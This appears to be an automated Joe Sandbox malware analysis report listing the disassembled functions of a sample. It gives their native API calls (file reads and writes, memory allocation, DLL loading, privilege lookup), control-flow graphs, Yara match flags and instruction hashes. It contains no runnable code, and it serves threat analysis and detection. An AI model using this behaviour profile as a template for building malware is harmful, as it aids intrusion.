                                          Function 0041A40A Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 35filenativeCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 3 41a40a-41a459 call 41af60 NtReadFile
                                          APIs
                                          • NtReadFile.NTDLL(rMA,5EB65239,FFFFFFFF,?,?,?,rMA,?,1JA,FFFFFFFF,5EB65239,00414D72,?,00000000), ref: 0041A455
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_400000_mQY9ka5sW6hv2Ri.jbxd
                                          Yara matches
                                          Similarity
                                          • API ID: FileRead
                                          • String ID: 1JA$rMA$rMA
                                          • API String ID: 2738559852-782607585
                                          • Opcode ID: ce735585b3023d6dfb68a191c91debb73d53f4d81da64b9bfcb1c2b10b6c50f9
                                          • Instruction ID: 745eb3f05450c579891509d8f425d3f1f2555e57fdcff50e7bbe5f5739733a6a
                                          • Opcode Fuzzy Hash: ce735585b3023d6dfb68a191c91debb73d53f4d81da64b9bfcb1c2b10b6c50f9
                                          • Instruction Fuzzy Hash: ECF0F9B6204148ABCB04DF99DC90CEB77ADEF8D314B158749FE5D93202C634E8558BA0
                                          Function 0040ACF0 Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 227 40acf0-40ad19 call 41cc50 230 40ad1b-40ad1e 227->230 231 40ad1f-40ad2d call 41d070 227->231 234 40ad3d-40ad4e call 41b4a0 231->234 235 40ad2f-40ad3a call 41d2f0 231->235 240 40ad50-40ad64 LdrLoadDll 234->240 241 40ad67-40ad6a 234->241 235->234 240->241
                                          APIs
                                          • LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0040AD62
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_400000_mQY9ka5sW6hv2Ri.jbxd
                                          Yara matches
                                          Similarity
                                          • API ID: Load
                                          • String ID:
                                          • API String ID: 2234796835-0
                                          • Opcode ID: dc2098e385e942efcd48a296202403441f5905bb34daa24398974f8d6af8945c
                                          • Instruction ID: bd03027937dafe21d6f438616a486266aae6a772261e1344982784e00def1180
                                          • Opcode Fuzzy Hash: dc2098e385e942efcd48a296202403441f5905bb34daa24398974f8d6af8945c
                                          • Instruction Fuzzy Hash: 80015EB5E0020DBBDF10DBA1DC42FDEB3789F54308F0045AAA908A7281F634EB548B95
                                          Function 0041A48C Relevance: 1.5, APIs: 1, Instructions: 42nativeCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 242 41a48c-41a48d 243 41a4d6-41a4fd call 41af60 242->243 244 41a48f-41a4b9 call 41af60 NtClose 242->244 244->243
                                          APIs
                                          • NtClose.NTDLL(00414D50,?,?,00414D50,00409CF3,FFFFFFFF), ref: 0041A4B5
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_400000_mQY9ka5sW6hv2Ri.jbxd
                                          Yara matches
                                          Similarity
                                          • API ID: Close
                                          • String ID:
                                          • API String ID: 3535843008-0
                                          • Opcode ID: b8ff4bae4c8e2bd49781e096f4db219384d3e0bbddf7d3dc62efdcff8fcdbb2b
                                          • Instruction ID: 4a912bd7cef69b23412329667c7c7fb5ddc7ee147841c2af3048b3f02d115080
                                          • Opcode Fuzzy Hash: b8ff4bae4c8e2bd49781e096f4db219384d3e0bbddf7d3dc62efdcff8fcdbb2b
                                          • Instruction Fuzzy Hash: E8F03CB5600108ABDB14DF98DC81DEB77B9EF88714F14855AFD0D97201D634E9218BA0
                                          Function 0041A360 Relevance: 1.5, APIs: 1, Instructions: 40filenativeCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 250 41a360-41a3b1 call 41af60 NtCreateFile
                                          APIs
                                          • NtCreateFile.NTDLL(00000060,00409CF3,?,00414BB7,00409CF3,FFFFFFFF,?,?,FFFFFFFF,00409CF3,00414BB7,?,00409CF3,00000060,00000000,00000000), ref: 0041A3AD
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_400000_mQY9ka5sW6hv2Ri.jbxd
                                          Yara matches
                                          Similarity
                                          • API ID: CreateFile
                                          • String ID:
                                          • API String ID: 823142352-0
                                          • Opcode ID: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
                                          • Instruction ID: 1571a74e51eef41835f20cf1113afde9e84efeac6e640e2865a3d9423fa4fe5b
                                          • Opcode Fuzzy Hash: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
                                          • Instruction Fuzzy Hash: FEF0BDB2201208ABCB08CF89DC85EEB77ADAF8C754F158248BA0D97241C630E8518BA4
                                          Function 0041A540 Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 266 41a540-41a57d call 41af60 NtAllocateVirtualMemory
                                          APIs
                                          • NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,0041B134,?,00000000,?,00003000,00000040,00000000,00000000,00409CF3), ref: 0041A579
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_400000_mQY9ka5sW6hv2Ri.jbxd
                                          Yara matches
                                          Similarity
                                          • API ID: AllocateMemoryVirtual
                                          • String ID:
                                          • API String ID: 2167126740-0
                                          • Opcode ID: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
                                          • Instruction ID: 60dc777ab2a5703fe93ec60752bbea5a413bae98553eb5929f98badcd8fbe991
                                          • Opcode Fuzzy Hash: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
                                          • Instruction Fuzzy Hash: B2F015B2200208ABCB14DF89CC81EEB77ADEF8C754F158149BE0897241C630F811CBA4
                                          Function 0041A53D Relevance: 1.5, APIs: 1, Instructions: 28memorynativeCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 269 41a53d-41a556 270 41a55c-41a57d NtAllocateVirtualMemory 269->270 271 41a557 call 41af60 269->271 271->270
                                          APIs
                                          • NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,0041B134,?,00000000,?,00003000,00000040,00000000,00000000,00409CF3), ref: 0041A579
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_400000_mQY9ka5sW6hv2Ri.jbxd
                                          Yara matches
                                          Similarity
                                          • API ID: AllocateMemoryVirtual
                                          • String ID:
                                          • API String ID: 2167126740-0
                                          • Opcode ID: 43b518bbb4c12f68443765ada0e04a3063f2ea4034a93cff4e1a2e94bde262cf
                                          • Instruction ID: ee0f5891d9d372d632102c49d92fdbaa2a79b28d3c1271333aa80f393085cc74
                                          • Opcode Fuzzy Hash: 43b518bbb4c12f68443765ada0e04a3063f2ea4034a93cff4e1a2e94bde262cf
                                          • Instruction Fuzzy Hash: 43F030B1100149ABCB15DF58DC84CA7B7ACFF88224B15C65DF95D97206C634E865CBB0
                                          Function 0041A490 Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON
                                          Download Yara Rule
                                          APIs
                                          • NtClose.NTDLL(00414D50,?,?,00414D50,00409CF3,FFFFFFFF), ref: 0041A4B5
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_400000_mQY9ka5sW6hv2Ri.jbxd
                                          Yara matches
                                          Similarity
                                          • API ID: Close
                                          • String ID:
                                          • API String ID: 3535843008-0
                                          • Opcode ID: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
                                          • Instruction ID: a008c5d5ec14fa9f5013d94ab86a46559dd82bf248144eb087863a0ac6a31d62
                                          • Opcode Fuzzy Hash: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
                                          • Instruction Fuzzy Hash: F7D01776200218ABD710EB99CC85EE77BACEF48B64F158499BA1C9B242C530FA1086E0
                                          Function 011D2B60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: d28911e2aaec485c03b0151e8d7025721e23b402be83499fe329dda49379d7b8
                                          • Instruction ID: ad97bcbc423fbe346f6c2a1cd1c4107d99e277617f225f54eed50ae427f21ece
                                          • Opcode Fuzzy Hash: d28911e2aaec485c03b0151e8d7025721e23b402be83499fe329dda49379d7b8
                                          • Instruction Fuzzy Hash: 3690026120280003410D71984518616404A97E0201B55C021E1015590DC62589916225
                                          Function 011D2BF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: 1a250b3db393cacdc6bf27be7a4ebe5cc171760c231d6b74142677a90347ea4d
                                          • Instruction ID: 67ddf5af15cfe5030da8025b6589f5d3ae50063626c6d1fba24e025e4a824a41
                                          • Opcode Fuzzy Hash: 1a250b3db393cacdc6bf27be7a4ebe5cc171760c231d6b74142677a90347ea4d
                                          • Instruction Fuzzy Hash: 3D90023120180802D1887198450864A004597D1301F95C015A0026654DCB158B5977A1
                                          Function 011D2AD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: 6a4a9cb0b2793a0575c7a04d945a1cbc75957ede617d494ffea9506733438d03
                                          • Instruction ID: cabe092619264133e32c061783733193a2c6cc2a814be807e7a56e661d93e77d
                                          • Opcode Fuzzy Hash: 6a4a9cb0b2793a0575c7a04d945a1cbc75957ede617d494ffea9506733438d03
                                          • Instruction Fuzzy Hash: E790022521180003010DB5980708507008697D5351355C021F1016550CD72189615221
                                          Function 011D2D10 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: 6b68c01f4f83f05f8004035264f4cfaebd4c186bfa29f2ad4b0f429b34bcc587
                                          • Instruction ID: d2ffe2867bc989f7ce930014824aee870392891ebeef5b6cf548b49fb37cda9d
                                          • Opcode Fuzzy Hash: 6b68c01f4f83f05f8004035264f4cfaebd4c186bfa29f2ad4b0f429b34bcc587
                                          • Instruction Fuzzy Hash: BE90022921380002D1887198550C60A004597D1202F95D415A0016558CCA1589695321
                                          Function 011D2D30 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: 07ef635aedc8e648da3ceb07be621c82c3465ed0980f47dcc449d16a80074c0c
                                          • Instruction ID: f77514b7ef4023790c364501a8da4b9eff0d7e5763ce42a5aedfde9f792595e1
                                          • Opcode Fuzzy Hash: 07ef635aedc8e648da3ceb07be621c82c3465ed0980f47dcc449d16a80074c0c
                                          • Instruction Fuzzy Hash: 8090022130180003D1487198551C6064045E7E1301F55D011E0415554CDA1589565322
                                          Function 011D2DD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: 8cebc4e3422bfd9785ac915549600f03668494728c6a6c698ef9f71d1c18e872
                                          • Instruction ID: 3539b804745fa4828b380eb1ee31de2ff2914e9c91fbc2153d36b7d174d3c8fb
                                          • Opcode Fuzzy Hash: 8cebc4e3422bfd9785ac915549600f03668494728c6a6c698ef9f71d1c18e872
                                          • Instruction Fuzzy Hash: F290022124284152554DB19845085074046A7E0241795C012A1415950CC6269956D721
                                          Function 011D2DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: 985c94fb4e0b50958ced7f9b9ad21e09fb85674ad6d8d3939c4f3b8df4db3423
                                          • Instruction ID: d1a2d3669036475c619aaedbb9f0455583f005ce691143cae0651f12c665a9d6
                                          • Opcode Fuzzy Hash: 985c94fb4e0b50958ced7f9b9ad21e09fb85674ad6d8d3939c4f3b8df4db3423
                                          • Instruction Fuzzy Hash: C590023120180413D11971984608707004997D0241F95C412A0425558DD7568A52A221
                                          Function 011D2C70 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: a542099d25ca4e919d9828d96e990c5836164380cf3e6a2eff400d1e8a37bb0b
                                          • Instruction ID: 569414227ecd358478e3ed26e8c01705b65852b75e9b9e6063b38200fd4102de
                                          • Opcode Fuzzy Hash: a542099d25ca4e919d9828d96e990c5836164380cf3e6a2eff400d1e8a37bb0b
                                          • Instruction Fuzzy Hash: 7B90023120188802D1187198850874A004597D0301F59C411A4425658DC79589917221
                                          Function 011D2CA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: 4b831edad395427ad9f447c347a57a0b5f44cf9f8b52ce1f170e43cbe2abd2c7
                                          • Instruction ID: fb8fa8607b7b114d80ff6312a96f88366b1198637958024a1720ea19d679869f
                                          • Opcode Fuzzy Hash: 4b831edad395427ad9f447c347a57a0b5f44cf9f8b52ce1f170e43cbe2abd2c7
                                          • Instruction Fuzzy Hash: 5090023120180402D10875D8550C646004597E0301F55D011A5025555EC76589916231
                                          Function 011D2F30 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: 135c85dfe9b70f0245443b2cc55ae00988dc8f54d350bb375c7ab578b7e475bc
                                          • Instruction ID: ebe13ae3f57f1dd4ac244fe0d4086b5a1315b29770ada96c886d21bc3cd87fcf
                                          • Opcode Fuzzy Hash: 135c85dfe9b70f0245443b2cc55ae00988dc8f54d350bb375c7ab578b7e475bc
                                          • Instruction Fuzzy Hash: 9A90026134180442D10871984518B060045D7E1301F55C015E1065554DC719CD526226
                                          Function 011D2F90 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: 3f9e3d6f81d8e87356a00c8b90b6bf48d71c18f944059e4856a824cdad353f3c
                                          • Instruction ID: df67a8cf0d748e57b16b045f2e758f74e251a04ec1c5b8c7d5aaa70907d96ab0
                                          • Opcode Fuzzy Hash: 3f9e3d6f81d8e87356a00c8b90b6bf48d71c18f944059e4856a824cdad353f3c
                                          • Instruction Fuzzy Hash: 3A900231201C0402D1087198491870B004597D0302F55C011A1165555DC72589516671
                                          Function 011D2FB0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: caaa61aa11ca48b157e18b5356ed95207fca8761aeac448bae329ce84177d2c6
                                          • Instruction ID: 495bb00021864fa2170a1d47b614d92b019b5f801e10afacb14d89e738cdd126
                                          • Opcode Fuzzy Hash: caaa61aa11ca48b157e18b5356ed95207fca8761aeac448bae329ce84177d2c6
                                          • Instruction Fuzzy Hash: 1C90022160180042414871A889489064045BBE1211755C121A0999550DC65989655765
                                          Function 011D2FE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: 635633da6835d42addfdb0b611588fec3d3be2ad50c42b39f39a287d3d6dbaaa
                                          • Instruction ID: 85a4ed8d779833043c9c8dbbfd17bd57b8b849411b727b7293c6bafe2f2c335c
                                          • Opcode Fuzzy Hash: 635633da6835d42addfdb0b611588fec3d3be2ad50c42b39f39a287d3d6dbaaa
                                          • Instruction Fuzzy Hash: 3A900221211C0042D20875A84D18B07004597D0303F55C115A0155554CCA1589615621
                                          Function 011D2E80 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: e3fcc3d393af3360baac1931bb76349aea62b4d561658aa03c7fe62dd662d3eb
                                          • Instruction ID: 3d0592c3481a0b39de5b9166c5d6c8b69ca76cda62ce66629c4ae0c40ac81088
                                          • Opcode Fuzzy Hash: e3fcc3d393af3360baac1931bb76349aea62b4d561658aa03c7fe62dd662d3eb
                                          • Instruction Fuzzy Hash: F590022160180502D10971984508616004A97D0241F95C022A1025555ECB258A92A231
                                          Function 011D2EA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: fe10594a7233e33bdff4c97b4e6875020f582e4e3fb81d8122ed5b6987177f02
                                          • Instruction ID: 49a7cd936dc5bffd5e0a863d4b7c7266ec104004ddfa1f907dc4a5a10b515e62
                                          • Opcode Fuzzy Hash: fe10594a7233e33bdff4c97b4e6875020f582e4e3fb81d8122ed5b6987177f02
                                          • Instruction Fuzzy Hash: 9190027120180402D14871984508746004597D0301F55C011A5065554EC7598ED56765
                                          Function 00409AB0 Relevance: .1, Instructions: 92COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_400000_mQY9ka5sW6hv2Ri.jbxd
                                          Yara matches
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: bf70d19deb8b7dbf65a1c14f2d3141162741e3067e6603a799ea80fa30cdc1c2
                                          • Instruction ID: 0b46cc9625fd597f0f1293e0fe630cc8c1f9f1e3f005c30533d49d025d22dd75
                                          • Opcode Fuzzy Hash: bf70d19deb8b7dbf65a1c14f2d3141162741e3067e6603a799ea80fa30cdc1c2
                                          • Instruction Fuzzy Hash: 97210AB2D4020857CB25D674AD52BFF73BCAB54314F04007FE949A3182F638BE498BA5
                                          Function 0041A630 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24memoryCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 6 41a630-41a661 call 41af60 RtlAllocateHeap
                                          APIs
                                          • RtlAllocateHeap.NTDLL(6EA,?,00414CAF,00414CAF,?,00414536,?,?,?,?,?,00000000,00409CF3,?), ref: 0041A65D
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_400000_mQY9ka5sW6hv2Ri.jbxd
                                          Yara matches
                                          Similarity
                                          • API ID: AllocateHeap
                                          • String ID: 6EA
                                          • API String ID: 1279760036-1400015478
                                          • Opcode ID: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
                                          • Instruction ID: b63900df46c74d48569035b2bcc9be016157083d4ef88d1b541c797289a4eec1
                                          • Opcode Fuzzy Hash: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
                                          • Instruction Fuzzy Hash: 46E012B1200208ABDB14EF99CC41EA777ACEF88664F158559BA085B242C630F9118AB0
                                          Function 00408310 Relevance: 1.6, APIs: 1, Instructions: 55threadwindowCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 204 408310-40835a call 41be60 call 41ca00 call 40acf0 call 414e50 213 40835c-40836e PostThreadMessageW 204->213 214 40838e-408392 204->214 215 408370-40838a call 40a480 213->215 216 40838d 213->216 215->216 216->214
                                          APIs
                                          • PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040836A
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_400000_mQY9ka5sW6hv2Ri.jbxd
                                          Yara matches
                                          Similarity
                                          • API ID: MessagePostThread
                                          • String ID:
                                          • API String ID: 1836367815-0
                                          • Opcode ID: eeb461d9a93cfa80389428809ed4c10d2a707c26e4e5d313531af448f679d8da
                                          • Instruction ID: fe648ddaccc693dff6b318d6e20673cc1517f8ca6da234ac2c2ad493b9bfa733
                                          • Opcode Fuzzy Hash: eeb461d9a93cfa80389428809ed4c10d2a707c26e4e5d313531af448f679d8da
                                          • Instruction Fuzzy Hash: FF018431A8032C76E721A6959C43FFE776C5B40F54F05011AFF04BA1C2EAA8690546EA
                                          Function 0041A808 Relevance: 1.6, APIs: 1, Instructions: 51COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 219 41a808-41a80d 220 41a7c5-41a7e9 219->220 221 41a80f-41a840 call 41af60 219->221 222 41a7ef-41a804 LookupPrivilegeValueW 220->222 223 41a7ea call 41af60 220->223 223->222
                                          APIs
                                          • LookupPrivilegeValueW.ADVAPI32(00000000,0000003C,0040F1D2,0040F1D2,0000003C,00000000,?,00409D65), ref: 0041A800
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_400000_mQY9ka5sW6hv2Ri.jbxd
                                          Yara matches
                                          Similarity
                                          • API ID: LookupPrivilegeValue
                                          • String ID:
                                          • API String ID: 3899507212-0
                                          • Opcode ID: 8af17b9493d57cdf6817ed4c48402646cd994912f2bca3bc6af469a6ed3bd174
                                          • Instruction ID: e4b1b801e236b75688b18323bce5e2f626194fc871ec06281da7c1adbc1ff8fe
                                          • Opcode Fuzzy Hash: 8af17b9493d57cdf6817ed4c48402646cd994912f2bca3bc6af469a6ed3bd174
                                          • Instruction Fuzzy Hash: 3801FCB5200204AFDB10DF55DC89EEB3BA8EF88724F148059FE4D5B282C935A921CBE4
                                          Function 0041A662 Relevance: 1.5, APIs: 1, Instructions: 35memoryCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 253 41a662-41a66e 254 41a670-41a68c call 41af60 253->254 255 41a68d-41a6a1 RtlFreeHeap 253->255 254->255
                                          APIs
                                          • RtlFreeHeap.NTDLL(00000060,00409CF3,?,?,00409CF3,00000060,00000000,00000000,?,?,00409CF3,?,00000000), ref: 0041A69D
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_400000_mQY9ka5sW6hv2Ri.jbxd
                                          Yara matches
                                          Similarity
                                          • API ID: FreeHeap
                                          • String ID:
                                          • API String ID: 3298025750-0
